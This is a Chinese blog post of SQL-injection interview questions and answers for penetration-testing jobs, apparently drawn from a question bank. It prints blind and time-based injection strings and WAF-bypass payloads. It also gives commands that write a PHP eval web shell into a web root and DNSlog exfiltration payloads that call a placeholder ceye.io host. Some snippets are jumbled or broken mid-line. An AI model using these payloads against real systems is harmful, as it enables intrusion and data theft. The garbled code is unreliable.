• 【网络安全】面试中常见问题--sql注入篇


    博主昵称:跳楼梯企鹅
    博主主页面链接:博主主页传送门

    博主专栏页面连接:专栏传送门--网路安全技术
    创作初心:本博客的初心为与技术朋友们相互交流,每个人的技术都存在短板,博主也是一样,虚心求教,希望各位技术友给予指导。
    博主座右铭:发现光,追随光,成为光,散发光;
    博主研究方向:渗透测试、机器学习 ;
    博主寄语:感谢各位技术友的支持,您的支持就是我前进的动力 ;



     

    面试宝典问题大全

    一、.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?

    2.为何一个 mysql 数据库的站,只有一个 80 端口开放?

    三、如何突破注入时字符被转义?

    四、sql 注入的几种类型?

    五、报错注入的函数有哪些?

    六、延时注入如何来判断?

    七、盲注和延时注入的共同点?

    八、注入时可以不使用 and 或 or 或 xor,直接 order by 开始注入吗?

    九、如果网站 get 与 post 都做了防注入,还可以采用什么方式绕过

    十、 注入漏洞只能查账号密码?

    十一、 如何利用这个防注入系统拿 shell?

    十二、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪 种是优选?

    十三、sqlmap,怎么对一个注入点注入?

    十四、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

    十五、sql 注入写文件都有哪些函数?

    十六、SQL 注入防护方法?

    十七、 盲注 if 被过滤怎么绕过?

    十八、 注入时,Waf 过滤了逗号,如何绕过?

    十九、MySQL 写 WebShell 有几种方式,利用条件?

    二十、 Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mysql 下又如何?

    二十一、phpmyadmin 写 sehll 的方法

    二十二、 预编译能否 100%防 sql 注入,如果不能,写一个

    以上内容资料来源于牛客网:渗透测试面试题库


    一、.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?

    root 权限、网站的绝对路径、需要数据库开启 secure_file_priv 相当于 secure_file_priv
    值为空,不为空不充许写入 webshell (默认不开启,需要修改 my.ini 配置文件)。

    2.为何一个 mysql 数据库的站,只有一个 80 端口开放?

    1 、更改了数据库端口,没有扫描出来。
    2 、站库分离。
    3 3306 端口不对外开放

    三、如何突破注入时字符被转义?

    宽字符注入、 hex 编码绕过

    四、sql 注入的几种类型?

    1 )报错注入
    2 bool 型注入
    3 )延时注入
    4 )宽字节注入

    五、报错注入的函数有哪些?

    1.floor

    2.updatexml

    3.extractvalue

    六、延时注入如何来判断?

    SQL 盲注分为三大类:基于布尔型 SQL 盲注、基于时间型 SQL 盲注、基于报错型 SQL 盲注
    基于布尔型 SQL 盲注 : XXX' and ascii(substr(database(),1,1))=112#
    基于时间型 SQL 盲注 : XXX' and sleep(x)#

    七、盲注和延时注入的共同点?

    都是一个字符一个字符的判断

    八、注入时可以不使用 and or xor,直接 order by 开始注入吗?

    and/or/xor ,前面的 1=1 1=2 步骤只是为了判断是否为注入点,如果已经确定是注入
    点那就可以省那步骤去。

    九、如果网站 get post 都做了防注入,还可以采用什么方式绕过

    Cookices 注入绕过

    十、 注入漏洞只能查账号密码?

    最低权限都可以查找帐号和密码,如 mssql sa 权限可以获取系统权限, dbowner 可以
    获取 Webshell public 可以脱库; mysql root 权限、知道网站的绝对路径、数据库 my.ini
    置文件 secure_file_priv 值为空时,就可以获取 webshell 并执行操作系统命令。

    十一、 如何利用这个防注入系统拿 shell

    URL 里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个
    时候可以尝试寻找网站的配置文件 直接上菜刀链接。

    十二、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪 种是优选?

    有写入权限的,构造联合查询语句使用 using INTO OUTFILE ,可以将查询的输出重定向
    到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直
    接获得一个 Shell ,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,
    然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

    十三、sqlmap,怎么对一个注入点注入?

    1 )如果是 get 注入,直接, sqlmap -u " 注入点网址 ".
    2) 如果是 post 注入,可以 sqlmap –r "burp 地址访问包
    3 )如果是 cookie X-Forwarded-For 等,可以访问的时候,用 burpsuite 抓包,注入处用号
    替换,放到文件里,然后 sqlmap -r " 文件地址 " ,记得加上 —level 3 参数

    十四、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

    demo.do?DATA=AjAxNg== DATA 有可能经过了 base64 编码再传入服务器,所以我们也
    要对参数进行 base64 编码才能正确完成测试

    十五、sql 注入写文件都有哪些函数?

    union select "",2 into outfile
    "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit

    十六、SQL 注入防护方法?

    1 、涵数过滤,如 !is_numeric 涵数 // 判断变量 id 是否为数字
    2 、直接下载相关防范注入文件,通过 incloud 包含放在网站配置文件里面,如 360 、阿里云、腾迅提供的防注入脚
    3 、使用白名单来规范化输入验证方法
    4 、采用 PDO 预处理
    5 、使用 Waf 拦截

    十七、 盲注 if 被过滤怎么绕过?

    如果 and if waf 拦截,我们可以使用内联注释来绕过函数的检测,如:
    xor /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
    ^ /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
    /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
    and case when 1!=0 then /*!sleep*//*!(5)*/ else 0 end %23

    十八、 注入时,Waf 过滤了逗号,如何绕过?

    在实际中如果我们在注入语句中有逗号就可能被拦截,这个时候我们可以用 join 来绕过
    mysql> select user_id,user,password from users union select 1,2,3;
     
    不出现逗号,使用 Join 来注入
    mysql> select user_id,user,password from users union select * from ((select 1)A join
    (select 2)B join (select 3)C);
     

    十九、MySQL WebShell 有几种方式,利用条件?

    一、
    union select 后写入
    lines terminated by 写 入
    lines starting by 写 入fields
    terminated by 写 入
    COLUMNS terminated by 写 入
    二、
    root 权限
    GPC 关闭(能使用单引号),magic_quotes_gpc=On 有
    绝对路径(读文件可以不用,写文件必须)
    没有配置–secure-file-priv
    成功条件:有读写的权限,有 create、insert、select 的权限

    二十、 Sql 注入无回显的情况下,利用 DNSlogmysql 下利用什么构造代码,mysql 下又如何?

    1.没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火
    墙的存在,容易被封禁 IP,可以尝试调整请求频率,有条件的使用代理池进行请
    求。
    2. 此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域
    名中,然后读取 DNS 解析时的日志,来获取想要的信息。
    3. Mysql 中利用 load_file() 构造 payload 创建数据表导出 shell
    CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );
    INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘
    @eval($_POST[pass]);?>’);
    SELECT `content` FROM `shadow9` INTO OUTFILE‘
    C:\\phpStudy\\WWW\\90sec.php’;
    DROP TABLE IF EXISTS `shadow9`;
    ‘ and if((select load_file(concat(‘ \\\\’,(select database()),’.xxx.ceye.io\\abc’))),1,0)#

    4. Mssql 下 利 用 master..xp_dirtree 构 造 payload

    DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+’.xxx.ceye.io’;EXEC(‘master..xp_dirtree”\’+@host+’\foobar$”‘);

    二十一、phpmyadmin sehll 的方法

    一、常规导入 shell 的操作
    二、一句话导出 shell:
    select '' into outfile 'c:/phpstu
    dy/www/90sec.php' ;
    select '' into outfile 'c:\\phpst
    udy\\www\\90sec.php' ;
    select '' into dumpfile 'c:\\phps
    tudy\\www\\bypass.php' ;
    三、日志备份获取 shell $dbh = new PDO( "txf" );
    $name = $_GET[ 'name' ];
    $stmt = $dbh->prepare( 'SELECT * FROM ' . $name . ' where usern
    ame = :username' );
    $stmt->execute( array ( ':username' => $_REQUEST[ 'username' ])
    );
    $pdo->query( 'SET NAMES gbk' );
    $var = "\xbf\x27 OR 1=1 /*" ;
    $query = 'SELECT * FROM test WHERE name = ? LIMIT 1' ;
    $stmt = $pdo->prepare($query);
    $stmt->execute( array ($var));
    // 关闭 general_log
    //phpinfo() 写入日志
    SELECT '' ;
    文件
    set global general_log= 'off' ;
    模式
    //
    // 开启 general log
    SET global general_log_file= 'D:/phpStudy/WWW/cmd.php' ;
    置日志文件保存路径
    // 查询 general
    show global variables like "%genera%" ;
    _log 配置
    set global general_log= 'on' ;

    二十二、 预编译能否 100%sql 注入,如果不能,写一个

    答 :
    不能。
    一、
    类似于宽字节注入
    二、
    参数 name 是一串数组,PDO 不会生效
    三、
    $stmt = $dbh->prepare( 'SELECT * FROM foo ORDER BY :userSuppli
    edData' );
    PDO 对 DDL 不生效
    二十三、 MySQL 有哪些获取系统信息的函数
    如:Version()、user()、databases()、 SCHEMA()

    以上内容资料来源于牛客网:渗透测试面试题库
     

  • 相关阅读:
    走进Spark
    JavaScript 49 JavaScript 作用域
    浅谈如何解决公共组件父子组件依赖调用和子组件校验父组件条件的问题
    今日早报 每日精选15条新闻简报 每天一分钟 知晓天下事 4月25日,星期四
    Linux操作系统的基础指令
    强化学习总结2 动态规划
    vite为路径设置别名
    图像处理之图像质量评价指标MSE(均方误差)
    差分详解(附加模板和例题)
    我理解的算法 - 53.最大子数组和(超经典多种解法:强推、动态规划、Kadane算法)
  • 原文地址:https://blog.csdn.net/weixin_50481708/article/details/125902767